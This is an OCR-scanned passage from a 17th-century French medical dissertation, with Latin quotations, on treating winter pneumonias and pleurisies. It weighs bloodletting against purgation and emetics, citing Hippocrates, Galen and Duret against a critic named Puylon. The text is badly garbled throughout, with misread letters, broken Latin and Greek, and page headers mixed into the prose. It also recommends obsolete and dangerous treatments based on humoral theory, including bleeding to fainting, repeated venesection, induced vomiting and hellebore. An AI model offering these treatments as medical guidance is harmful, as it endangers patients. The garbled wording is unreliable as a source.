Aici poteft, infiammatd memhravd eoftts
intextd > ^uod tpfum declarat
nee magnus 'nehementid, nec aqualit
contentione, nec ajfidudate implacabi-
lis : ac neque eft'Uyoia -. febris neque ip-
fiue iy(a,ts, exoritur au.tm d prelapfu
catarrhi, nonab Orgasmo fangmnts,tn
eo inqoam delore phlebotemta, NutiAM
ViM HABET retrahendi , S (tSug, if/ASP-
/wSu®' concitatum , ntque dettahendi
8' ro*ir«/«Su»* eonftftens. Ergo , nee
jure, nec loco , ad cum dalprem pr&f-
8z *I> iprtaiton fur Us -
erih'ttur fhlcbeiomia : Proptereaqji^i
TANTUM ABEST , UT ALIQlllD OPIS
ADFERATj UT PLURIMllM N O-CEAT :
mul'.um adjieit catarrho y t^funi
gignenUo per frtgus, emdemque ctende,
ptr f/ifirmiiatem .pottntia retemrieu
qtmm wfert. Par cet article , I’Auteur
delFend evidc mmcnt la feigtice , dans
les douleurs de cofte , qui ne lont pas
de veritables pleurefies, & s'cngen-
drent, non ab orgafmo funguinis fed *
frolapfit catarrht , per frtgus, & com-
ms parle Hippocr. m Kssmtpttff, inper-
frigeratione. La feule diderence , qac
je femarqae entre Hippocr. & Duret,
c’eft que le premier n’exclud pas la
fievre, au contraircj il radmet& la
demande , ou la fuppofe , ci mftnlstt ;
& Duret voiidroic corriger ce tcxte.
Mais le diSercnt eft aife ^ ac.commo-
der puifque, comme nous TavonS
die cy-dellus, dans ces fauHes pleure-
fies. quelquefois il y a de la fievre,
quelquefois il n’y en a pas > felon la
qualite , quantiie , & mouvement de
la nature , I’afFedlibn > & la partie af-
fedee. Ces diverfit^s font que la fievre
eft tantoft forte j 6c tantoft foiblcj tan-
Perlpneuntorties d'Hyver. if
toft cacharr ufe , & tantoft aigue , K^rs
que CCS faulfcs inflammations le chan-
gent en veritabli s j ou plutoft » com-
me nous avons die, oppritnent & rem-
pliflent davancage le peulmon, le
ccEur , & leurs vaifleaux,
Mais dans ce fecond genre , voyons
quel a efte le fentiment de Monfieur
Duret ? & fi dans Ics plus vericables
pleurcfies , ce grand Homme a crCi
qn’il faille toujours feigner fans vo«r
I & fans reconnoiftre , comme on le
VCLU , & on le pratique prefeniementJ
Voicy done conime il s’en explique
danslts mcmes endroits.iV<?»» de flett-
ritide , cut fvmmo jure deheri feiltonem
vena clamant emnts Sophists , tllud
f racefturn eft d diSlatere fummo , ei
tantum pleuridi , jure & loco, propte-
reaque conveniemer prafcfiht, <yua at-
tingic claviculam , cum gravitate bra-
chtj , & tpfifts mamma , nec fotu rnttutt
manetquepeeaX^ ftttti expert oh eam-
quecaufam dolorts ideem habet punbto-
\ rtam , magnitudtne peracerham , aqua-
luate fimilem , & ajfiduitate. gravijjl-
mam. omnia conjunilam hahent
i ficcam tujfim, febrem ajjiduam, cum
$4 Bljfertation juries
Jp'trattone mnltum diffcth Et ^domam
tn eo cructatd f<vt dolorls pUttrnicit
& ftunwa diffieuliate ^pirardi y omnia
folent ej^e ntortifera , ntfi dolorificHnt
malum , id fctltcet quod intus Udit»
exeat cito for as , hoc eft fjftrophtca w
ftammatio tunica coftis intexta , huie
vena fe£iio , & Uheralis detrabiio fan-
guinis^y verum eft eydlexitenum, quo
ipfi pteuritici periculo defunganmr,
Voilk le feul cas auquel Monfieur
Duret , conforraetnent ^ Hippocr.
prifericia feignCe dans la pleurefie s
lors qu’clle elt Afoendante & qac
, rinflammacion fyftrophique monte Jiif-’
qnes anx cjavicules & ^ la gorge lors
que des le commencement il y a gran¬
de ficvre , grande douleur » grande
'toux , & grende oppreffion enfin y
lors qne la pleurefie , par fa fituation ,
& la vehemence de fes fympeomes >
approebe fort de fefquinancie ; elle.
doit eftre traitce de mtfme maniere »
ponr les raifons que nous avons tou*
chees cy-delfus. Encor y a-t-il une
exception , car- fi cette pleurefie afeen-
dante n’elt, pas f. iche , ny com me on
die dfUiros mais que felon noftre i'u-
teur
Penpneut/ionies i’Hfver. 8/
tcur, Exfacflif mm cho, & liheralner
txpmgemr, ac Jpitle fiavtim ex'atte
permixmm fit ; tHm careat emni ex-
cttrstt quern cHt fehris, & urtnarum
bella fit coloratio , phlebotomiam m»
€xigtt ; fed reffun ponus 0 " averfa-
turErgo in talt pleuruide', d phle-
botomid pertcttlum efi ; eb tmpeditam
maeathfirfin, qu£ lihertate finendi 0 “
libertelitate , votu rttitmA & medici
reffondebat, Ne taceam lateris infir-
tnttatem , quam infert repetita Car-
NiJicuM phlebotomia, ^f 4 tfi plenritii
infer a fit , rheuma confiflens non de-
trahet phlebotomia. H'lc Pharmacia
EST OPUS QUODAMMODO MOCHLICA.
Qtmlem prateftor infinun ex peplio &
verairo, qua fiimtil mixta i/ittitform efe
dicn j omnmmqm qua noverat prafian-
tijfima i plurma amem nover-^t: “Tijort
emm hat dm prafcripfit inopid T^har-
macorttm , ut S c i o l i arbitrantm ;
fed meliorum deletitt.
Il eft done vray , (i k ^rand Hippo»
&Diirec one fccu la veirite, que dans la
plufparc des inflammations d£ coft^ Sc
de poidrine , il ne faiu point feigner
QU rarememj & particulierement dans
H
%S *Dt^ertanoti ftir Us
cellps d’Hy ver,qui prefque toutes font
ou faufles , a proUp/k caiarrhi, non ab
mga[mo fangmnis •, ou du tnoins def-
cendantes , par la froideur ou erudite
ties bumeurs , qui ne monteni: j ou nc
demeurent pas en hauc, tnais pJufttofl;
par leur pefanteur , s’arreftent ou delr
cendent vers les hypoebondes , &
ainfi dans la Dodirine d’HIppocr. S£
de Duret j qui eft fon genie, Pharr
macia indigent,& ed ^iddem moehltcd,
de forte que j’ay pvi fur leur parole
conclure j Ergo peripneumonia Hjhema
catharfis , ^yimuKsi-
Cette Dodtrine de Monfieur Duret,
n’avoit point efte condamuee. jufqu’il
ce jour; fon Livre n avoit encore trou-
ve que des aprobateurs , enforte qufi
I'Eloge A’Opm admirabiU , qni fe voit
dans le tikre j par le confentement
Tiniverfel des Scavants, ne convient
pas mietix autexte d’Hipp.-qu’A ce beau
Comm. Cependant Monficur Puylon
Jo vient de cenfoper dans ma Tbefe.
L’on n’oferoit pas croire que ce foitpar
megarde, & fauce de de I’avoir bien lu,
& (<javoir qu'il s expofoit luy-mefme i
la cenfure deMonfieur Duret,qui a e£lc
7 erip»*nm<rnies d’Hyver. 87
Doyen auparavant luy j & n'eftoit pas
Hvoins vehement) puis qu’il fe ferS
d'exprclTtons tres-fortes , contre ceux
qui ne font pas de fon fentiment ; fe
donnaiK la liberte de Ics appellet dans
ies textes allegues , Impertinents,
Nttgaram g«rr»htas vantjjima j Mcn-
teurs; emm vern/tte potior j Sophilks ,
/iphijfte ; demy S^avants, fcioit 5 Bour-
ireaux j repetitd fud phltbotomid camp-
fices.Cettc eonteftation embarrafle ex-
tremcment i car deux grands Hommes
de la Faulce de Paris, Meffieurs Duret
& Puylon, cenfurent deux propofi-
tions comradidoires. Qyel party pren¬
dre I en verite fi j’avois encore ide-
liberer, je ferois bkn cmpcfchc. Mais
puifqne je me fuisdeclar^ il faut ne-
ccffairement tether ^ me dcffendre de
la cenfnre de Monfieur Poylonj Sc fui-
vre la fortune de Monheur Duret.
Auparavant que de paffer id’au*
tres autorites ,faifons encore quelque
refifxidn fur fa E)o(ftrinc. Get excel¬
lent Homme enfeigne dans les paflagcs
cy dcffus allegues , que pour guerir
les inflammations de poidrine , il eft
deuxremedes principauXjla feigriic &
SS VifSertatien fm tes '
]a pargation : la purgation & la fcs-
gnee j qui font , FtL atexneria , uel
delettrta , felon leuf bonne ou mau-
>aife application. En eftct » quicon-
que aura le droit ufage de I’une & de
raiure, fera des miracles, dans la
cure de ces maladies qui font perir
tant de monde. Galien en cent licux
differents , a public ks merveilles de
la feignee ; mais il ne loue pas moins
la purgation au Chap, dernier, de fur-
gam, facul- befain ifue it raf-
forte , quit neft point de remede fltes ef-
ficace four I’Eryfifele, ^ue ceux qui
f urgent la bile , & peu apres, je ne fi-
virois jamais^ ajoute-t-il, (i je vouleis
fubliertoutes les merveilles qui fe font
far les medicaments furgatifs. Maiss’il
eft permis' de dire la verite , qu'il eft
peu de Medecins qui fe fervent des
ces deux grands remedes par une ve<- j
rkable indication, & ne lesemployent ;
plutoft par routine que par raifon , Ne \
nihil agere videamur, com me dit Ic
mefme Gal. dans Tonzieeme Liv. de
la Method. Chap. ij. Beaucoup de
gens portent I’efpee, mais il en eft tres-
peu qui remploient comrae il faut les I
Periptietmontes £Hjver,
tins font trop hardis & mutins jlcs au-
tres lafcbes &iiffiides: leS autre* cnfin
roanc^uent d’adrelle pour s’en fervit
Ulilement De mefffie il n’y a gucres
dc MedecinS qui ne feignent & nfi
pnrgent ; mais il en eft fort peu qui le
falfcnt propos. De la vicnncnt lea
mauvais fuccez , & cette calomnie ds
la Medccinc fi grande > die Hippocr.
ail ij. tex. du 1. de Acat. qu’clit fem-
ble cnticrement anneantie.
Pnifqufe la fortune me fait Auteue
malgre moy , & que je fuis cont'raint h.
publier-mon fentrmentj je dis que fi
la Peripneufnonie , vient de la trop
grande agitation du fang , Sc de la v i-
■gueivr ou exaltation de fes paffies ful-
■phureufeS, qui produi fent daiis ■!&
hiafle line fermentation trop forte j SC
uiie efpeee d’embrafement i il faut feiv
gtter beauCoup St promptement, pour
tnodercr ce mouvement impetueuX ,
cn dimimiant k plenitude & laboii-
dance des bumeuxsichaufFees , 8 c fai«
re au plus vifte cette , oa
■vacuiie, fi utile dans les vMnes & dans
les afterts,pour les rendre plus ca-
pables de contenir ce mcfme (ang crop
Hj.
$ o Dtjfertation fur les k
agitc , & empefcher ainii qu’il ive s’en- v
foigne dans les petites veines , la fub. I
fiance & les poroficez des vifceres. Et |
ainfi je n'ay rien a dire en cettc occa- '
Con concre ' la pratique ordinaire »
qu’on ne pent acccufer que de trop de
lenteur , & de n’obeir pas aflcz cxade*
jnent dans cette evacuation du fang
au grand Hippocr- qui dansletcx, 8,
da 1 . devi£i. i» acut. dit en general,
^ue les tferatlons cjui veulent de la dili¬
gence , fe deivent fatre fratUfttmem ,
We» , -nixiax i & dans le
tex. IQ. du II. Liv. oii il ordonne de
feigner dans les douleurs qui montent
vers la clavicule , il dit qu’il faut tirer
bcaucoup de fang, fans aucun retar-
dement)^ nix'll*
Sc il apporte une raifon admirable de
la necefliti de cette diligence > dans Ic ,
tex. 28. du IV. Liv. qui fait extreme- j
ment a noftre fujet, bien qu’en cet
endroit il s’agifle de la curcr d’autres |
maladies , que de ccHes dont nous pair- B
Ions, f^enam csnfeflim ab initio fecare |
eportet , cum nondumfxa Jim omnia . p
^ua ctnrriU'am^ turn ipirtitti, turn flu- [i
icianes facth»s emim r»»tdijs patem |
PtripnemoHtes d’Hyver, <> i
II y a dans Is Grec j funufyii 'df-rai
T/vUTUt Wmitrat ■aftbfiff'mt ^
cc que Mercurial &c FocTius ont verty
plus ^ la lettre > Dttm adhue elevati
fmt , omyits affiigentes &flu^
xiones, Mais ces verfions revieiineni a
la premiere , qui eft eelle dc I’inter-
prece ordinaire de Galien » qui la con-
firme daus fon Commencaire. Et ces
paroles ne fignifienc autre chofe , finon
que dans Its maladies il faut feigner
promptement, lors que le fang& les
efprits font encore en mouvemenc pat
la fermentation . /^meSfat Sc ne font
encore fixez uy coagulez. Et s’ils I’e-
toient deja par la maladie.commedans
I’Epilepfie , I’Apoplexie , & Paralyfie*
dont Hipp. parle cn ce lieu, il faudroit
auparavani la feignee, remettre le
fang & lesefpritf ,en mouvemenc, par
la fomentation , ftoneAxo die Hippocr.
caralots ils font plus pro»
pres fouffrir cc renaede.. Qu’Hippot:.
eft admirable ! Sc qu’on icn- tire de
lumieres 1 lors.qu’on medite ferieufe,4
ment, fa Dodlrine. . ,
C’eft done une faute de ne tiri.r dans
ces occafions que.ftx ou ftpt onces de'
ft Dijfert/iueii fHY les
fang par joun come Ton fait ordinaire^
nient:& cctte premiere en produit nne
feconde,qui ii’eft pas moins dagereofej
car comme dans le comnaettcemet,ron
n’a pas fait d’d^raciiation (uffifante , &
qui rcponde ^ la maladie, & faffecettc
KiyfayifiV fi utile quand elle eft faite i
prOpos, comme dit Hippocr. au z.
Aphi' r. dul. Ton continue feigner
jufques 5 e par dela le temps, aiiqncl
le maladc commence it cracher, & par
wne evacuation inutile , dangereufe i
& hors dc faifon , foo en fupprime
one autre , qui eft la plus falutaire dc
toiltes, t/etis natfirx & medici
refpondet qvii feule , fans aide dc
la Medecine , guerit les pleurefies me-
me fuperieures. O homines reipuhltc*
graves velpotius carnifices ^ s’^crie I’llr
luftre Duret, contre ceux qui com*
mettent cetie faute. Pont evittr ce re-
proche , il faut feigner promptement >
iors qu’il y araifon de le faire; plu*
fieurs fois en un jour ; des deux bras
mcfme s'il eft pofliblc , Si tiref beau-
coup de fang , comme die Hippocr. au
tex. 7,4. du iV. de viSl. in actit. felon
I’habiiude ftu .corps, la faifon > faage
Pcr'ipneumcmes d'Hj'ver. 93
Sc la couleur du tnalade ,
von lerhui, Ji dolor acvtta fttertt, ad
ammtvjqHt defeCiwnem detrahts. 11 ne
fauc laiflcr dans ,les veines , que ce qui
eft precifemcnt neceflaire pour en-
trctenir la vie , afin que le fang tirculc
toujours , & ne fe cantonne pas dans
la fubftance des vifceres : enforte que
lors qu’ils comraencent a s’enflatnmer,
loin de tirer de nouvclle matiere des
grands vaiffeaux , ils rendcm par cette
.evacuation , Sc rejettent une partie de
Celle quiles opprime ; ce qu’on con-
noiftra par le changement de couleur
quiTarrive dans le fang ,' 8 c paroift dans
les poiletces. ll fauc feigner, die Hipp.
au tcx. I o. du 2. acmor, Z?o-
vec ruhidier mvlto •, -vel pro pnro rvhi-
do^He lividm flvxerit, nam vtrurvqve
cominglt.
Ces changements marquent le re¬
flux du fang, qui felon Galien dans le
Comment, eftoit dans la partie mala-
de , & fouffroic deja quelque altera¬
tion par fon intemperie , lequel eft
rappelle dans les grands vaiffeaux,
par l!4''acuacion qui fe fait des plus
prochains > Sc ainff doit paffer cotunie
^ 4 ^iffertation fitr Its
unc derivation. Car dans cette efpeee
d’inftamma^ion , qni fe fait, cr-
gafma fangmmSt il ft rable que la revul-
finn ne daive pas avoir de lieu ; puis
que cefeu s’allunoe dans les vcmes,./^^
humore tndtgeua , nan adverni, fans que"
la tuatiere vienne d’aillcurs; enJorte
que cette rnaladie j paroift eftfe unc
•fievre elTenfielle, qui produit enfin
une inflatnmariun fynvptonaatique , da
genre dexelles qui; out efle defcrites>
par Felix Plattfosi par Sennertj &
par Sydenham , & lefquelles dans leur
curation, n’ont bafoin que d’evacua-
tbns fimples, qui diminuent la pleni¬
tude du fang , temperent la ferveurj &
calmenc fon agitation. Ce qui fe pent
faire aifement & promptenaent par la
feignee , quand on la pratique felon les
conditions dont nons avons parle.Mais
fi I’on pretendoit s*en fervir dans ces
occafions, comme d*un remede rcvnl-
la faudrok toiqours faire dn pied,
prhicipalement dans les inflammations
afeendantes; ce qui eft centre la Do-
dlrine d’Hippocr. au textc deja ettd'
lo^ du fecond de diat, in acHt, ofi il
veuc qu’on ouvre , venam cubki
. ^eripiMmomtt dTlyver. 9 y
0am , & eft eiacorc contte la pratique
ordinaire,par Jaqutlle nousvoyousque
dans Ics inflammations de poitftrinc >
la feignde du piedjii’a pas coutnmc
d’avoir de bons fuccez. Qi^clq-u de
Melfleurs les cejalcurs en pourroit dire
des nouvelles.
Mais lors cfue les inflammations fe
font, a prolaffit , ife/ tdUffj* catarihi^
commc parlc Monfieux Duret, & fe
ptoduifent par fluxion d’tnie maticrc
qui d’un foyer eftranger & eloigni , fe
porte fur la partic malade, la revnlfioa
eft abfolument neceilaire. C'cft la
Doftrine d’Hippocr. au VI. des Epir
dem Sefft. a- tcx. z8. Mevellendtim
tSiifi <ym mn oportet^vergam,S>i de Gal.
au IV. de la Method. Chap 6 - perpe-
tmm tfi tyuod ab Hippocr. didictmns
incipientem fltixionem ad covtraria tra~
hendam e^fe'; fixam verb jam tn lahv-
rante parttcula vacnandam , ^c. Sc
au Chap. 19. de mrnnd. ratten, per
tven. feSlion. Sc au dernier de cucttr^
ittul. vehementtffimos fwccorum tnfltt~
XUS, revulfortjs pra.fidtjs confemm tti-
gruere prohibemsu. Dans teus ces Pafta-
gcs, il n’eft parle que de maladies
9 5 DiJJ'ertatlcft fpur les
de fluxion, aulquelles la revulfion eft
neceffaire , & cependant elle ne fe
pent obcenir par la feignee. C’cft la
Doftrine cxprefle de Monfieur Durec
dans les paflages cites, J» eo dolore,
dit-il, Thlebotomia rtHllttm vim hahet
retrahendi , S
Mais eorabien I’auroit-il die plus
ibrteraenc, s’il avoir connu la circu*
lation du fang ? & ii Monfieur Puyldii
veut bien fe relafcher jufques ii m’ac*
corder cecte Hypothefe , Sc ne la met-
tre point entre ces faux principes,
qu’il a reconnus dans ma Thefe, je
crois qu’il ne me fera pas difficile de
demonftrer, que dans les inflamma¬
tions dc poiiflrine qui viennent de flu¬
xion , comme font la plufpart de cel-
les d'Hyver, la feignee ne peut eftre
un remede revulfif. Car enfin , fi le
mouvement periodique du fang, eft
iiniverfel dans tout le corps , & par-
ticulier dans le poulmon dont tous
les vaifleaux viennent da coeur , & s’y
terminent immediatement., comment
eft-il poffible d’imaginer la revulfion J
Puifque le mouvement periodique SC
circulaire, fe refournit toujours , SC
que
Perlpneuttfonies d’Hyver. 97
qae le pouimoii rendau coeiir tout cc
qu’il re9oic, & en re^oit tout cc qii’il
luy rend , Defcripto etrcftlo principmnt
fjon ftivetiHttr, die Hippocr au com¬
mencement du Liv. de lac. tn homin.
Ef omnes pAttes carports ex etytto pria-
ciptftm , & finis efie videntttr.
C'cft ce qu’a fort bien rcconnii
Maicrc Guillaume Vaflet, Do£teur de
la Facuhe de Paris, dans une Tlic-
fe fciKeniie fous fa Preddence , pac
Jean Robert, en I’AnnCe 1669. fur
laqueftion , d capite vo-
mitui nonnmquam ttttlts T dans laquel-
le, parlant de la revulfion fur la fin
du 4. Corollaire , je trouve ces mots*
Jntrtcata res efi irv'irrKTift ^ in morbid
capttts & thoracis optata , magis quant
prafiita. En efFet, felon Ics luix de la
circulation , il eft conftant qifau lien
de retirer I’humeur qui fe porte fur la
poidtrine > en tirant du fang vous la
charge a da vantage f puifque viiidanC
la veine , vous vuidez par confequenC
I’artere qui luy fournit du fang ; cettc
vacuite fe communique julques au
tronc de Taorte , puis an coeur & an
« Lilmon , qui fe rempl llene de nou-
' I
5 8 *DiJfertation fur les
veau par les velnes j & ce d’autant
plus vifte & plus abondammtnt, quc
I’evacuation eft plus graude & plus
proropte ; & ainfi la feignee n’opere
autre chofe dans les peripncumonies
d’Hy ver , que de tirer un fang plus
cute, plus ferment^ & plus fubtil, &
d’en fubftituei unautre.cn plus grande
qnantlte , qui eft crud j froid & indi-
gefte J foit qu’il vienne de la teftc , oil
de la premiere region , ou mefme de
l-’habitude du corps; puifqu’en quel-
que lieu que foit fon foyer , il eft tou-
jours necelfairement attire furlapoi-
tftrine. .Stc namcjue in mo angttlo latens
virtu I per totunt corptu Jpargitttr. Et
par confequent J il faut que les fym-
ptomes augmentent au lieu de dimi-
nuer , & que Ic malade meure , com-
me ditHippocr. dans le pallage allc-
guCj lors qu*il fembfe fe porter mieux.
En verite , e’eft une chofe furprenan-
te , que les Medecins ayant d’un con-
fentement univerfel admis la circu- .
lation du fang . ils en tirent fi peu
de confequences avantageofes pour
leur Arc ; & e’eft avec raifon que dans
’Peripneumonus i'Hyver. 59
Erafiftrate le mocque de Harveus 6C
de foil invention , qui jufques icy n’a
efte qu’une fpeculation inutile dans
la Pratique , par le peu de foin qu’on a
pris d’en faire Tapplication. Je prie
tres-humblement Monfieur Puylon ,
de vouloir bien m’efclaircir fur ces
difBcultcs , & de m’en donner plus
de folution quc n’ont pu faire Mef-
fieurs mes Confreres , aufquels je Ics
ay proposes inutilement.
Il fe pent faire neanmoins que la
ftignee foulage quclquefois, & mcme
; guerilfe qnelqu’une des peripneumo-,
i nies done nous parlons i lors qu’elles
5 font molles , comme Ics appelle Hipp.
dans lefquelles le vice dii iang eft le-
• gcr, Si peut-eftre corrige , par toii-
• tes fortes d’evacuations; ou bien fi la
I nialadie eft plus ccnfiderable , il faut
1 quc les forces du ma/ade foient gran-
des, Et valeam cum fecuritate. i.Jiut
infirmttaiu metu : pour lors il n’eft
pas impoffiblc que quinze ou vingt
feignees, n’epuifenc cnticrement la
miniere dii mai. Si ainfi le gueriflent ;
comme nous avons fait autrefois , lors
que nous ne f9avions rien de meilleur >
10 o Dijftrtaiton far les
& c’efl: de ces occaiions que nous
ayons die dans noftre Thefe , qu’il
eftoic quelqiiefois moins dangf reux >
de feigner beaucoup que mediocre-
nient; mais outre que ccs evacuations
font fimpl'es , & non pas rcvulbyes,
Ton peut dire tres veritablement 3 que
e’eft cette conduite qui eft bardie, &
picine de peril, par iaquelle peu fc
fauvent j avec peine & crainte de reci-
dive , ou dans la mefme 'toaladie , ou
dans une autre plus fafcheule , comtne
rempyeme j la cachexie 3 Tbydropifie
univerfelle, ou de poidrine ; ainfi que
nous Tavons prefqiie toujours veu ar-
river. Enforte que cette Medecine eft
plus propre ^ metcre le Medecin ^ con¬
vert qu’^ guerir le malade.
Galien mefme ne Tapprouve pas au
Liv. deCurand. ration, per vtn.feHiort,
Cbap-. 6 . ou il detfend expreflement
de feigner , lors qu’il y a beaucoup de
fuc crud dans les veines. Qmnd il y
a plenitude avec pefantettr , dit-il, I'on
Ke doit pae toujoars tirer du fang, parct
tpu il fe pent faire , ^u tl y a des cradi-
teK, amafeej. Et peu apres j Exolata
ah id j tt^ adhihitd
*Peripneumoms d^l^jver. lot
fangmnis nuffiotte , in extremum mahm
recidere folet Ht nequa^uam pofied
re/Hittt pejjit- Ec encore plus bas , St
fuerh hjems regioze natnrd frigida •
turn natmn tpno^tte heminis frigtdior ^
ijs per fanguinis mijfionem corpus gra-
i/tter rtfiigerattir y & accidtint nonnul-
la epuA ad, gravem fe^umtur refitge- '
rationem /jmptomata quo circa qui
fic affeSii fum , eos fanguinis mijfione
‘vacuare non cenventet.
Quel party done reftc't-il a pren¬
dre j dans la cure des pulmonics, qui.
precedent de la fluxion d’un flic crud ,
froid , & indigefte > qui fe fait fur lai
poidrine » comme font la plufpart d:c
celles qui paroiflent en Hyver, dans
le Pfintemps . & quclquefois mefme
dans I’Efte , lors que les malades 5*^3-
bandonnent ^ la erapule , & font tra-
yalllez de cruditez & d’indigeftions ;
ou mefme que I’humetir bilieufe s'a-
maflant dans la premiere region^ quite
Jfbn foyer, & fe jette fur la poiiirinc ?
comment pratiquep cetce rsvnlfion >
fi neceflaire en cette occafion , fi. fort
recommandec pat Hippoer. par GaL
& par tous les Auteurs qui. les ottfc
I
lot *DiJ?ertat)on f»r let
fuivis. Jc foudens qu'il n’y cn a point
d’autre quo de Purger de bonne hcure ,
& s’il fe peut lors quc i’humeur eft
encore en mouvemcnt > & fe porte
tellement fur la poiifrine, qu’il ex¬
cite des naufees ou qiiclques vomif-
fements imparfaits j ou mefme quel-
ques diarrhecs; eomme li la nature ||
xnarquoit au Medccin le cbctnin qu’il I
doit tenir , & le genre de fecours quel- I
le luy dcmande , car ce que dit Hel-
mont eft tres-vray , & tres-conforme ^
h la Doftrine d’Hippocr- que les pleu-
refies & les peripneumonies , ne font
pas diverfes dans leur ratines , des
diarrhees,ny des dyfenteries, & nc
different d’avec elles que des parties
affedfees.Etquand ces derniersfympto-
mes furviennent, ils prefervent & gue-
rillent felon Hip.les maladies que nous
defcrivons , aufli bien quc les vomif-
lements aigres , qu’il appellc h^vftyftias
dans PAphor. par nous cite. Et par
■ confcquent lors que la nature ne fait
pas ces evacuations »il eft du devoir j
du Medecin de les procurer , ^rtificio |
tid tmttationem com^araio , ,|
ainfi que I’ordonne Hippocr. dans i
*Penpnettrnomes d'Hyve}’. tof
les textcs deja cites , & le 14. de
faM. dUt. dans lequcl il veuc qu’on
fade vomir pendant fix mois d’Hy-
ver, e’eft ^ dire pendant I’Hyv^r
proprement appelle, & pendant le
Print era ps. id temfut aflivo ejt
magii f itmtoftitn , & morbi caput ten-
tant , & regionem Jupfd feprum tranf-
verfum. Et par les textes 7. & ai.
du Liv. de affebi. intern, ofi le mef-
me Auteur enfeigne qu’il faut pur-
ger par le vomilfement, le liic ertrd
ou pituiteux , qu’i) dit an mefme en-
droit efire la' caufe des inflammations
de poidrine.
Galicn en qtfelqucs lieOx femble
diftinguer le fiic criid de la pituite >
mais en beaucoup d’autres il les con-
fond , comme au de fanitate tuend.
Crtidi fucci fmt de genere pitmtA >
dit-il, uno vocabtilo licet apptllare,
& crudum fuccum 1 & pHuitam. Lors
que I’un on Taiitre abonde dans le
ventre & dans les premieres vcines,
le-mefme Gal. an mefme lieu defFend
& la feignee & la purgation > I’e-
xercice & le bain , Si tpitidem omnei
id genus motus ,fuccts tiles crudes > i»
j£>4 Dlffermion fkr lei
tctHtn corpus agtint, Mais il s’agJt cn
cec endroic dc conferver la fante , &
•non pas de guerir des maladies , ce
Prectpce eft prophv laiftique , & rc-
garde ceiix , fmt adhuc intrafa-
xttaw latitHdtntr/i > 5 i aufqutls cet
amas de fucs picuiceux & cruds»
n’apporcent encore quc . de legeres
incoiomoditez j car pour lors il vaiit
mieux les atteniier» les digcrer, &
les cuire , par des alceracifs eonvc-
nablcs, que de les agiter forcement»
ereth'tfmum adders humori
^mefcemi. Mais lorfque ces mefmes
huttieurs caufent acftueliement dcs
maladies, il les fau: evacuer, felon
Gal. mefme , au mefme Liv. 4. dc
fanit. tucud. fi rineommodic^ qu’on
en rc9oit eft tanc foit pen confidera-
ble , & dure plus d’un jour, il fauc
avoir recours a des remedes plus puif*
&nts , k ffavoit k feignee , pii la pur¬
gation , 'Difcernemihus aobis mriir»
. wagis expediat, ajoute-x il.
Cette purgation fe doit faire pas
bauc ou par bas ,, felon i’inclinacion
de la nature , le foyer oa le mou ve-
meat de rhomeur > & les difpofi-
Terifneumonies d‘H‘jver. IQJ
tions particulieres du malade , que
le Mtdccin eft oblige de reconnoi¬
tre. La purgation ne doit pas eftre
trop forte, de peur qu'elle ne dcf-
feiche trop le ventre fupericur j cora-
me dit Hippocr. & ne fuppriroe ton- -
te expedoration} ne fafle colliqua-
tion des parties faines , qui pcuvent
refifter ^ la maladie j & encore de
peur que les hurocurs pituiteufes ou
bilieufcs , qui peuvent eftre dans Tha-
bitude du corps , ne I’oient tiree? par
la violence du remede fur la poidrine.
C’eft de quoy Gal. nous avertit tres-
judicicufcment au mefme Liv. 4. de
fanit. mend, Qj^d fi vel vomitu cm -
dos fuccos , vel alvt dejettione edncere
violeniius tentes, mi^tie eorttm qua fc
ris fmt , altqutd intro rapuerts caveri
autem iehet , comme il avoit dit un
peu auparavant , Vtrumque revulfum,
& inttts fora , & forts intro. Et ainfi
la purgation trop violente n’a pas
raoins d’inconvenient que la feignec i
car de mefme que cettS^ evacuation
tire de la pr miere region /ur la poi-
drine; ainli I’autre tire de I’habitu-
de du corps, fur la mefme partie
10 6 ^ ijfertatton fur les
malade , au lieu de la decharger.
Cette purgation trop violeiue, eft
la fame ordinaire des Empinques, &
des Chymiftes cmportez, qui ne dou-
tent de rien , tirent toujours par de l-a
ie but, & ne ((gavent -pas la portec
de leur remedes , qu’ils defcri-nt par
leur mauvaife conduite, & les met-
tent en fi grande horreur , que leS
bons Medtcins n’oli roient s’en fer-
vir- Mais cettc purgation ne doit pas
eftre tiop foible , de peur que met-
tant les bumeurs cn mouveraent>
fans les evacuer > elle n’aiigmente
plutoft le tranlport qui fe fait fur la
poidrinc , que d’en, faire revulfion.
Et comme dit fort bitn le grand Fcr-
nel au I. de fa Method. Chap/ 7.
remediorum hlandimentis > quod
ftpe fit, morbus exajperetur, C’eft icy
rEfciieil ordinaire dts Mcdecins laf-
ches & timides,qiie noftre grandHipp*
appelle fi jiiftemenc , in leg. Impmf-
fmts, quifaute_de vray meritc i taf-
chent ^ faii^ valoir piarmy les Fetn-
mes, une faulTc apparence de dou¬
ceur & de moderation , &c a s'acque-
rir la reputation de gens ^ ne rie|}
Ptrifrteutnomes ^H)vtr. 107
haiardei: j lors qu'en effet ils perdent
touc par leurs lenicifs, qui n’ont au-
cune proportion avec les maladies }
aufli ne reuffiffent-ils ordinairement
que dans cslles qui fe gueriroient bien
routes feules. Pour moy je feray toCi-
jours gloire de fuivre Ja Dodrinc
d’Hippocr. qui au Liv. de loc. tn horn.
Parle en ces tcrmes , Medicamenta
fortia naturd in dehilthw dare non opor~
ttt ; neqne paucnate medicamenti de-
hilttas ipfa facienda eSl ; fed fortthtu
naturd , fortthtu Pharmacts efi men-
dam , dehtlibw verb , Pharmacis non
fonibns', necjtie partiendum efi medica-
mentum , &c. C’eft pourquoy le mef-,
me Hippocr. veut que Irs purgacifs
foient e’eft b dire d’unc
mefme force pour tirer ^galem.ent, car
fi leur adion eftoh dilFercnte, ce feroic
une efpece de partage. Je (i^ay bien
que dans le mefme Livre , noftre A a-
teur veut qu’on fe ferve, de medica¬
ments foibles en deux occalions , ott
^uand on ne connotft pas been affeure-
mem la nature du mal , ou lors cjue I'on
trane un malaie deltcat. Le Medecin
doi,c eftre prudent, & condefeendant,
jo8 Dlfertation fur les
mars non pa> lafche ic flatteur.
J’ay pour garand de cettc conduite,
un Auteur encre les modernes > que le
fieur Puylon ne peuc reprocher , c’eft
le celebre Hofman , grand ennemy de ■
I’Ancimoine, & dc^ remedes mincf
raux , dans ce famisux Ouvrage de
trentc annees qa’il a compose lur les
Medicaments Officinaux , lequel il a
dedie ^ feu Monfieur Pat in , c’eft tout
dire. Get Auteur dans le I Liv. Chap.
l8. Article ii. traitant de rHelleborcj
parlc ainli ; OMefue m camos nos red-
dat fcribit > corpon* no/tra hodie non
ferre helleborum album > ntgrum non nt-
Ji dtfficulter. Sed ut Itber'e dtcam ^uod
/entio , videtur mihi cjuerela ejie , ^nu¬
